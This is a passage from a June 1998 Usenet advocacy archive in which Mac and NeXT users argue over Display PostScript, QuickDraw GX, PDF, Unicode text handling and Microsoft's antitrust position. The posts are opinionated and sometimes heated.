Bundles, users will notice. When it's trivial for Apple to support
Services and greatly expand scripting, users will notice. When it's easy
for someone to write a Yellow app that 'acts just like the Finder' because
it uses the same objects as the Finder, users will notice the completness
and uniformity of the GUI, esp when Apple introduces a new GUI feauture,
Yellow apps would use the _exact_ same feature, and use it requiring
fairly little code change on their part. When.... (There! You made me
go off on the rant! Gack!)
Right now, the only way to extend the Finder is to hack it (and the
present methods of doing so won't be present in Mac OS X as I understand
it).
--
Ted Brown tbrown@netset.com
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: Thu, 11 Jun 1998 23:34:49 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1106982334500001@dialin9229.slip.uci.edu>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu> <6lpd91$5c5$1@news.digifix.com> <slrn6o16bf.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6o16bf.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> On 11 Jun 1998 20:04:49 GMT, Scott Anguish <sanguish@digifix.com> wrote:
> : - DPS costs Apple money.. Adobe, in its infinite stupidity has
> :said that they'd rather DPS died that give Apple DPS for free
>
> This is really really stupid of Adobe. It will inevitably face more
> competition from Microsoft on Windows than it would from anybody else on the
> Mac.
I'm going to return to my original contention that Adobe *really* wants
DPS to die in favor of PDF. PDF is Adobe's key to future riches (if they
get off their asses and put out some decent PDF tools) since PDF
replaces/suppliments DPS, it could easily invade the fax world (I think PS
faxes were a good idea, just too early - now that we are getting copiers
networked, the concept should return), it is already a standard on the
internet, and with much enhancements to its forms capability could become
a pretty standard means of electronic forms delivery and storage.
But I agree that Adobe should be putting all forces to bear on the Mac
market - too bad I don't think they have it in them... they could clean
up.
-Bob Cassidy
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 11 Jun 1998 06:03:49 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35906d0c.13309108@news.supernews.com>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com>
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dpetticord@hotmail.com, on Wed, 10 Jun 1998 01:25:30 GMT,
>[...]First of all, Microsoft agreed to all kinds of LICENSING
>restrictions because it had already planned to turn its products into
>Bloatware. Office, Visual Studio and, of course, Windows95 where combinations
>of separate products bundled under one license. (Yes, Max (and others) THAT
>is why the "develop integrated products" exception clause was added and MEANS
>several bundled products under one license including MSDOS).[...]
Just can't let that slide, no, Dave.
"Develop integrated"!="spontaneously create by combining previously
separate"
[Windows95 didn't result in defection to Mac]
>note, all of this happened AFTER Microsoft agreed to stop per-processor
>licensing.[...]
Yes, by then they were already way past the Windows/DOS bundling, and
the predatory NDAs, as well. I wonder what _did_ keep people from
defecting. Was it just FUD, or maybe the lock was already in...
> I submit that licensing had little to do with what happened. Most
>of it was the herd mentality of the mass market (the less tactful call
>Microsoft users "sheep"), but Microsoft still gets alot of credit/blaim for
>their packaging. Windows95 was popular because it was "bloatware". It
>combined networking, GUI, doublespace, Internet Access, etc. into one
>package.
Windows95 was popular because it was the new version of Windows, and was
therefore the Chosen Path of Microsoft. Every commercial Unix since
1989 has done the same, except for the doublespace, because it is not
necessary. I've already ranted about the silliness of wholesale disk
compression built into Microsoft's OSes.
>People were hearing about how easy it was to get on the Internet with
>Windows95.
>
>Small Offices were learning that they could easily network computers together
>without a server.
>
>Windows95 was easier to use (almost as easy as a Mac).
"People were", "small offices were"; something about that phrasing
bothers me, what is it? Could it be the "market is proof that the
market is right" argument? When 95 was released, you got on line to get
to the Internet, you didn't get on the Internet to get online. The
difference? People were hearing about how easy it was to get on the
Internet, Win95 just happened to be the OS in all the stores. And as
for small offices networking, can you say "LocalTalk, circa 1984"? To
hell with just the file and print sharing; the Mac even included the
friggen hardware, and a decade before Microsoft's broken excuse for a
network capability was in place.
>
>I appologize for taking the long route to get back to the topic, but this
>points out how the DRDOS situation was just overtaken by events. Could
>Microsoft have separated MSDOS from Windows95? Probably, but why? The whole
>purpose of Windows95 was to give users a complete, if somewhat mediocre,
>software system. Is this anticompetitive? You bet it is. Is it illegal?
>That is the big question.
Your vernier of fairness is wearing thin in spots, Dave. Could MS have
separated DOS from 95? ABSOLUTELY, they wrote the damn code to begin
with. Why? Because it would have been the best design, would have been
most flexible and functional, would have enabled lots of competition in
the market, and thereby in the long run making MS lots of _clean_ money
without breaking any laws.
And I'm sorry, but if you're going to admit it was anti-competitive,
then you have to admit it was illegal. If you think it was OK, then it
was _competitive_, not anti-competitive. Now tell me, what reason did
they _have_ for providing it all in one package. Just who were they
competing against? You can worry that Apple might have bitten into
their sandwich all you want, but they still had 80%+ market share.
>It is my opinion that Microsoft was abiding by the Consent Agreement when it
>combined MSDOS with Windows to form Windows95. If the DoJ even tries to
>include MSDOS in its Consent Agreement case, it would be last nail in that
>weak case's coffin. The DoJ, and even Caldera, will have a hard time
>explaining why the "developing integrated products" exception clause was
>added if it doesn't apply to MSDOS and Windows.
MSDOS and Windows were not _developed_ as an integrated product. Hell,
DOS was developed years before Windows was even started.
>So, we are back to antitrust. I find it difficult to believe that it was
>illegal for Microsoft to agressively compete against IBM's OS/2 in 1994.
>OS/2 was a complete operating system. Microsoft had to release an operating
>system that was just as complete, if not more so (at least on the surface).
Microsoft had spent years supporting OS/2, and convincing Windows ISVs
that it would be the succeeding platform. Since it was mostly only
competing with DOS, for Microsoft to then decide that they would take
all the inertia for an enhanced OS from OS/2 for Windows was made
anti-competitive by the fact that one of the strong selling points of
OS/2 was that Microsoft was behind it. MS stranded IBM with OS/2, but
still benefited from their own hand in it, because everybody had to take
MS seriously when they said "but Windows is better". It was the
greatest mind-fuck I've ever seen.
>The DoJ said it could not find sufficent proof of illegal "tying" in 1994 to
>bring an antitrust case then. It is interesting that bundling software is
>now being questioned as a possible "tying" violation. I am morbidly
>fascinated by people, who should know better, seeing nothing dangerous
>about the current transformations of software's legal definition and status.
>
>This WILL effect more than just companies with 90% of the market.
Which is why it disturbs me so much to see Microsoft transforming
software's legal definitions and status as they have. Screw the
companies with 90% of the market, I'm worried about the 90% of the
companies captured by the market.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Thu, 11 Jun 1998 18:18:05 +1200
Organization: Geek Central
Message-ID: <ldo-1106981818050001@a7.hn3.wave.co.nz>
References: <35796BDB.2AEDD69@trilithon.com> <B19EBDA9-1BDD5@206.165.43.115> <6levgb$adf$10@ironhorse.plsys.co.uk> <ldo-1006981707060001@a53.hn3.wave.co.nz> <6llk0a$hs1$5@ns3.vrx.net> <slrn6ntoqt.q83.ben@ben.tapehouse.net> <slrn6nts3u.n12.sal@panix3.panix.com>
In article <slrn6nts3u.n12.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>>>In <ldo-1006981707060001@a53.hn3.wave.co.nz> Lawrence D¹Oliveiro claimed:
>>>> [PPDs] are a very limited and partial solution to the problem of the
>>>> lack of device independence of PostScript
>
>PS can render to displays (DPS as used by NeXT and Apple Rhapsody)
Adobe tried to flog off Display PostScript for ten years, with only
limited success, so it eventually had to give up. The PostScript graphics
model was never designed for on-screen use, only for making marks on
paper, and that is the only application area in which it has had any
success.
>PS can render to printers. (As used by thousands of PS printers)
Thousands out of the millions of printers sold. Does that tell you
something about the (lack of) market acceptance of PostScript?
>PS can render to .eps files and PDF files.
"PS can render to .eps files" is either gibberish or untrue, or both. You
_cannot_ take an arbitrary PostScript file and stick in EPS comments and
expect the result to work as EPS.
As for generating PDF files from PostScript, that requires expensive,
proprietary software. Whereas generating high-quality PDF files from GX
graphics, complete with professional-level typography, can be done for
free <http://www.geek-central.gen.nz/pages/ldo/index.html#Tumbler>.
>PS is about as device independant as you can get.
As you can get with PostScript? That's difficult to argue with, since it's
a tautology!
The trouble is, PostScript is not as device-independent as it is usually
claimed to be. Why else do you need PPD files, if not to describe the
device-dependent features of particular PostScript devices so that
PostScript-generating drivers and applications can cope with them?
>Can you name any other
>imaging system that has been implemented in as many different devices
>as PS has? I can't.
QuickDraw GX printing supports *all* PostScript output devices, plus GX
drivers were released for a whole host of other non-PostScript printers. I
guess that means it supports more devices than PostScript does...
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Wed, 10 Jun 1998 23:13:13 -0700
Organization: Trilithon Research and Trading
Message-ID: <357F7579.544D7A42@trilithon.com>
References: <6llk0a$hs1$5@ns3.vrx.net> <B1A4BD25-6A8A7@206.165.43.80>
Mime-Version: 1.0
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Lawrence D¹Oliveiro wrote:
* In article <6lfrn8$11sa3@odie.mcleod.net>, "Michelle L. Buck"
* <buck.erik@mcleod.net> wrote:
* * "I changed printers and my whole document was reformatted.
* * I spent hours getting that right. PUT IT BACK"
* That's the kind of thing that wouldn't have happened with
* QuickDraw GX printing.
Of course not.
* You see, GX printing supports the concept of "formatting" versus
* "output" printer: you can format a document for one printer
(perhaps
* one you don't even have available, just the driver), and output
* to another. That way, when you give the document to a bureau
* or whatever, they can output to the actual output device, and
* the document is already formatted for that device, so nothing
* needs to be rearranged.
I'd like you to clarify this issue, because I really don't get it at
all.
Maybe it's in the use of the word "formatting".
When I'm producing a book or a manual, I "format" to a *design*, not
for a *device*. The pages of the book are designed to have a certain
appearance --- so much margins, so much point size and leading, certain
design elements that work together to produce a pleasing appearance.
Towards
the end of the project, I put a lot of time into fine-tuning to remove
widows
and orphans and a bunch of tuning to ensure that, say, code elements
appear
in reasonable juxtaposition to the narrative, that illustrations appear
in
meaningful places, and a host of other issues. All of these issues are
*design* issues, and have absolutely nothing whatsoever to do with the
device on which the final text is printed.
I achieve this with PostScript-based systems. I write the material. I
preview it on screen with DPS-based viewers or clones thereof. I print
draft copies on 300/400/600 DPI laser printers. The final camera ready
goes to a service bureau to be output on 2540 imagesetters. The
appearance
of the text and the linebreaks and all the other *design* elements
reamain
exactly as I placed them, across screen, laser, and imagesetter. This
is
what "device-independence" is all about.
Is this what happens with your GX scenario, or does something else
happen
entirely? I can't really tell from your description above.
If I thought that some service bureau had changed any aspect of my page
layout and placement of *design* elements because of *device*
differences,
I would be down there with the Uzi in short order.
* This, together with other neat features like intelligent handling
* of paper mismatches, is why GX came closer to the goal of WYSIWYG
* than any other architecture, before or since...
So, where's your product? In the man-millennia you and Lawson have
consumed extolling the blessings of GX versus the too-many-to-mention
shortcomings of PostScript (other than it works fine), you could have
built an Adobe-sized industry in the GX aftermarket. The fact you're
still here diminishes one's confidence in the validity of all you
GX panegyrists.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java
Date: Thu, 11 Jun 1998 18:21:27 +1200
Organization: Geek Central
Message-ID: <ldo-1106981821270001@a7.hn3.wave.co.nz>
References: <357EA04A.A0B5209F@nstar.net> <B1A44D25-4516E3@141.214.128.36>
In article <B1A44D25-4516E3@141.214.128.36>, "Robert A. Decker"
<comrade@umich.edu> wrote:
>My point is that StringBuffer doesn't inherit from String.
Nor should it.
>If I want to
>check if I have a string I have to do two checks, one for StringBuffer and
>one for String.
No, you only need to check for String, or (better) simply try to cast to
String and see if it succeeds. That's why classes other than String can
have a "toString" method.
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 12 Jun 1998 02:53:33 -0400
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <tbrown-1206980253330001@mv128.axom.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com> <markeaton-1106982022300001@user-38ld67p.dialup.mindspring.com> <rmcassid-1106982323060001@dialin9229.slip.uci.edu>
In article <rmcassid-1106982323060001@dialin9229.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>> markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
>> Actually, GX didn't suck, it was quite cool. Its downfall was that it
>> didn't meet any great market demands. Carbon does.
>
>And it's implementation *did* suck. The idea was killer. But an advanced
>printing and typographic architecture that prevented you from printing
>from either XPress or Pagemaker because it screwed all the print drivers
>was *not* going to succeed. And it screwed all of the fonts as well. Those
>two blunders alone were enough to kill it.
OK! I repent! Next time, I'll put "And please don't turn this into a
discussion of GX)" in every post where I mention GX.
I'd like to focus on my Lawson-esqe fixation w/o getting sidetracked into his!
And with a Yellow Finder, when QDe gets 3x3 perspective text, it'll be
supported in all Fileviews, as all Text is displayed by NSTEXT! With
Carbon, it won't come out till the release after (if then) as it'll have
to support the new API directly.
And, once QTML is fully integrated with Yellow, all NSImages will be able
to display 3DMF and vector based images. This means a simple change could
give the Finder 3D or resolution independent icons! Then someone will
write the bundle that moves the shadow on the deskop based upon time of
day (I'll be waiting to see if it supports lunar radiation as well, a nice
soft light for Full Moons)!
Woo Woo!!!
--
Ted Brown tbrown@netset.com
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Thu, 11 Jun 1998 18:35:33 +1200
Organization: Geek Central
Message-ID: <ldo-1106981835340001@a7.hn3.wave.co.nz>
References: <ldo-1006981642350001@a53.hn3.wave.co.nz> <6llll8$cr3$1@news.cs.tu-berlin.de>
In article <6llll8$cr3$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
>ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) writes:
>
>>In <slrn6ndqdj.mjt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
>>NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) wrote:
>
>>>On 4 Jun 1998 09:27:01 -0700, Lawson English <english@primenet.com> wrote:
>>>:mmalcolm crawford <malcolm@plsys.co.uk> said:
>>>:
>>>:>In <ldo-0406982006200001@a24.hn1.wave.co.nz> Lawrence D*Oliveiro
>>>:>wrote:
>>>:>>
>>>:>> GX is the most elegant and compact solution to this problem that
>>>:anyone
>>>:>> has ever come up with. (Go on, prove me wrong...)
>>>:>>
>>>:>At a guess: ATSUI.
>>>:
>>>:For handling of multiple languages (leaving aside the unified Han
>>>:issue), ATSUI will likely do everything that GX does, formatting-wise.
>>>:However, there's lots of extra high-end stuff that I'm betting hasn't
>>>:made it into the first version of ATSUI and may never make it it
>>>:unless programmers ask for it.
>>>
>>>Reread "elegant and compact solution".
>
>>Bzzt. Thank you for playing, but I think Lawson wins this one. ATSUI is
>>going to be Unicode-centric, right? (Hence the name.)
>
>>Unfortunately, the
>>world isn't going to move entirely to Unicode in the next five years, or
>>ten. There are loads of national character sets that we will have to deal
>>with in the meantime.
>
>Unicode-centric != Only unicode allowed
Hmm, let me try and make sense of that gibberish. Is the exclamation mark
in the wrong place? Perhaps you meant to say
Unicode-centric = Only unicode allowed!
No matter. I guess it's still gibberish...
>For example, the Foundation Kit's string classes are unicode-centric.
>Every string can behave *as if* it were stored as a Unicode string.
This is precisely the problem I was alluding to. For many of the world's
major national/regional character sets, there is no exact 1:1
correspondence with Unicode. This means that translation back and forth is
bound to lead to some inconsistencies, which may be small in some
situations, but large in others.
The only way to preserve text fidelity in a situation like this is to work
natively in those national/regional character sets, and this situation
isn't likely to change for a very long time. Remember, it took 20 years
for ASCII to become the de facto standard for computer text, and that was
back when the pace of innovation was faster than it is today. This means
the adoption of Unicode will probably take longer.
So realistically, for real-world applications for all of the foreseeable
future, we have to continue to deal with a multilingual text model which
supports a mixture of text runs with different encodings. The most compact
and elegant such model, as I said before, is QuickDraw GX.
Lawrence
still waiting for somebody to prove me wrong
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 11 Jun 1998 06:44:19 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6lnuc3$csm$1@news.cs.tu-berlin.de>
References: <35796BDB.2AEDD69@trilithon.com> <B19EBDA9-1BDD5@206.165.43.115> <6levgb$adf$10@ironhorse.plsys.co.uk> <ldo-1006981707060001@a53.hn3.wave.co.nz>
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ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) writes:
>In article <6levgb$adf$10@ironhorse.plsys.co.uk>, mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>>In <B19EBDA9-1BDD5@206.165.43.115> "Lawson English" wrote:
>>> >
>>> Does the PPD solution
>>> provide for extensions to the printer-interface, including the display of
>>> new information and new kinds of controls to manipulate the unique
>>> functionality?
>>>
>>Read Marcel's reply:
>>"GO LOOK AT IT BEFORE MAKING CLAIMS or issuing stupid challenges".
>Don't be silly. It was of course a rhetorical question, as anyone who
>knows anything about PPDs would have picked up immediately.
Why do you assume that PPDs are the only solution available?
A friend + competitor of mine did most of the printer UI
for his CLC printing solution using completely custom controls
rendered by the driver program (or a helper launched by the
driver, I can't remember).
This included a slider control for the resolution because the
CLCs are variable resolution devices. I was always envious
of that 'advantage' over my PPD-based solution, which as
you rightly point out, couldn't put a slider in the print
panel.
However, I soon figured out that users didn't really
set the resolution at all, they either wanted 'maximum
quality' or 'fast' without having to figure out what
exact settings would give them the desired results.
As a matter of fact, they didn't really want that button
either, but rather that the printer do the right thing
(fast + max quality) when they hit print. So, what
types of controls do you think *your* users really
cannot do without?
>The fact is PPDs do not allow for any such dynamism--they are a very
>limited and partial solution to the problem of the lack of device
>independence of PostScript, designed so that lazy programmers on all
^^^^^^^^^^^^ -> dependence!
>platforms could support them with a minimum of work.
Where the PPD solution blew the custom controls out of the
water, of course, was network printing in mixed networks.
The PPD could easily be transported to Macs and even Windows
PCs and they would all be able to pick their options.
The custom controls were limited to the machine the driver was on.
Yes, I think having a platform-neutral, ASCII-based, human-readable
and hackable file format is a good idea.
>>Lawson, you're becoming more tiresome as each day passes -- don't you have
>>anything *constructive to say, ever?
>I don't agree with everything Lawson says: he accuses NeXT-heads of being
>arrogant about their platform, but I think it's just ignorance common to
>all the people who have spent so much time with PostScript that they have
>come to believe, albeit unconsciously, that if PostScript can't do
>something, then it isn't worth doing.
No, it's annoyance with the ignorance of people who think that if
they can't do it, it cannot be done. People who think featuritis
is a good thing and don't understand about layering of functionality.
People who project their own fanaticism onto other people's
pragmatism.
Most of all though, it is annoyance with people who have had these
things explained to them ad nauseam, and still don't get it, still
keep spouting the same nonsense (or at least highly debatable
optinion) as incrontrovertible, obvious fact.
Marcel
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 00:04:35 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1206980004350001@dialin9229.slip.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net>
In article <35809E8C.8E3F239A@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> That's a good statement, one not easily forgotten. So the 'ignorant
> masses' are unfit to spend their own money as they choose, I see it now.
> Better that 'industry experts' instruct their purchases by power of
> political maneuver.
So there should be no consumer protection then? For that only undermines
the free will of the consumer. So no need for prescriptions for drugs,
licenses for handguns or automobiles, and three cheers for the
introduction of General Mills Crack Cocaine for the government is
preventing me from spending my own money as I choose. Thank God I'll
finally be able to put that physics degree to work and build my very own
nuclear device. God bless America.
Face it Mike, your vision is drastically out of whack with the current
reality. Protest all you want, work to change things, but realize that the
US government did determine at the outset of this century that consumers
would rather have 10% lower oil today than run the risk of more vigorous
competition upsetting what was already a good thing - even if it could
make things dramatically better.
It's a nasty problem - the people are happy with the status quo, but the
theory says that they _could_ (and in fact should) be happier with a
change. Yet the people revolt because they don't want the government to
interfere and probably stimulate the market in much the same way as they
do with a gazillion other things that they wouldn't dream of giving up -
like controls from the federal reserve.
It seems like yet another instance of the scientists presenting a case
that the public rejects out of hand since it deals with long-term goals at
the expense of short-term costs. Anti-trust is little more than economic
stimulation - but in a focused market. The fact that a single company has
to lose some ground, in spite of the tremendous gains to get it this sort
of attention seems to be the only element that people find distasteful.
That some kind of slippery slope will form and the next thing you know the
DOJ won't let me buy the 'Bass Master' as they have an unfair advantage in
the electronic fishing game market. The reality is that in 100 years of
anti-trust being on the books, it has rarely happened to slide at all.
I agree with the 'bad laws weaken good laws' arguments, but a country
without anti-trust would be so fragile and oscillate so wildly that I
don't think many of us would enjoy it much.
> Not often are fascists so honest. I appreciate the gesture.
Never one to put enter a discussion without a little bloodletting, are
you? Too bad you can't depend on what are normally well presented
arguments without succumbing to mud-slinging to appease your insecurities.
-Bob Cassidy
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 12 Jun 1998 07:19:19 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd95d2$5c306c30$100ba8c0@voodoo2>
References: <6lk75t$afl@newsb.netnews.att.com> <01bd9419$a1ba5b40$100ba8c0@voodoo2> <35805AFF.A4CC45D2@wildfire.com>
NNTP-Posting-Date: 12 Jun 1998 07:19:19 GMT
Tony Lovell <tone@wildfire.com> wrote in article
<35805AFF.A4CC45D2@wildfire.com>...
> 25 million new lines of code... You're saying it might just work?!
>
> I'd say GigaWorld is hardly going out on a limb here. They could be a
> bakery and I'd grant their concern some creedence.
Well, I question where the 85% new comments, but that's beside my point:
I've had Beta 1 for a while now. I just expect a decent research company to
do more than just expect something. Go try it! Make a real, informed,
researched evaluation.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 00:26:19 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1206980026190001@dialin9229.slip.uci.edu>
References: <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <357DEE3F.5672@CONVEX.COM> <rmcassid-1006980005070001@dialin9155.slip.uci.edu> <35802aea.92113932@dur-news.ctron.com> <rmcassid-1106981421450001@dante.eng.uci.edu> <3580A546.431ED0C@pegasus.rutgers.edu>
In article <3580A546.431ED0C@pegasus.rutgers.edu>, Donovan Rebbechi
<elflord@pegasus.rutgers.edu> wrote:
> Robert Cassidy wrote:
> >
> > A well handled monopoly *will* be
> > seen as favorable by the public. A good monopoly should deliver marginally
> > better products at marginally lower prices. People won't complain, but
> > then they won't know that things *could* be better.
>
> Let's look at this in more detail. Consider some of the worlds well
> known pseudo-democracies, where people vote, but the press and free
> speech is tightly controlled ( for example, by "Internal Security"
> laws ). One could argue that if the government of the day receives an
> overwhelming majority, then that is a vindication of their
> repressiveness. But I for one would disagree.
>
> The bottom line is that the public basically believe what they are
> told, public opinion is meaningless as a guide to what the public
> interest is if the public's view is obscured.
Correct. You actually would never know what the position of the public was
- one way or the other. So long as the outlets for information are subject
to considerable outside influence (media controlled either by a
heavy-handed government or by ever focused advertising sources) then the
public's perception of the world around them will always likely be
slanted. The media will slant (even today in the US) out of national
loyalty, sympathy, or a ton of other reasons.
The public interest is increasingly less a measure of what the people
_want_ than what they have been told to want due to a larger, more
invasive, and more focused and clever media. It's not to say that we are
stupid, rather we are human and humans _can_ be manipulated. Some resist
more than others, but we all succumb to it to some degree. Instead, the
best measure of how a monopoly is perceived really comes from the industry
and the experts that interact with that monopoly. Companies are not about
to cry 'monopoly' unless there is a pretty compelling case to be made for
two reasons:
1) if the rest of the industry does not agree, the company will appear to
be unable to compete fairly in the marketplace and public perception will
be that it is in some kind of trouble. Example: 'look and feel' suit by
Apple. Not a monopoly case, but similar in that Apple came away with a
public perception that it had been outdone and could only compete in the
courtroom.
2) *every* time a company faces monopoly charges, it expands the criteria
for being a monopoly in some way. No two companies are the same, they all
have monopolies of varying strengths and hold on to their monopolies in
different ways. The more cases, the looser the definition threatens to
become, and the more likely it will be used against *you* down the road.
Bottom line: the industry _really_ doesn't like monopoly cases to be
heard. Example: Apple again. If they cry monopoly against MS (which has no
doubt been tempting) then they themselves run the risk of having it
levelled against them as the cloning situation was _very_ indicative of
monopolistic practices. Had it not been for their relatively small market
and unbelievably bad balance sheet, they might have gotten busted on it.
-Bob Cassidy
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: Thu, 11 Jun 1998 10:39:00 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1106981039000001@mac49-38.psychology.dal.ca>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <ldo-1106981751380001@a7.hn3.wave.co.nz>
In article <ldo-1106981751380001@a7.hn3.wave.co.nz>,
ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) wrote:
> What you had was a really elegant solution-in-search-of-a-problem. What is
> best for developers' needs is not necessarily the best for users' needs.
> That's why nobody succeeded in taking all that wonderful NextStep/OpenStep
> etc technology being developed over the past ten years, and
> actually producing an application that users wanted to use.
I would reword that to "wanted to pay for". Folks with a lot of money
were more than willing to "use" it.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
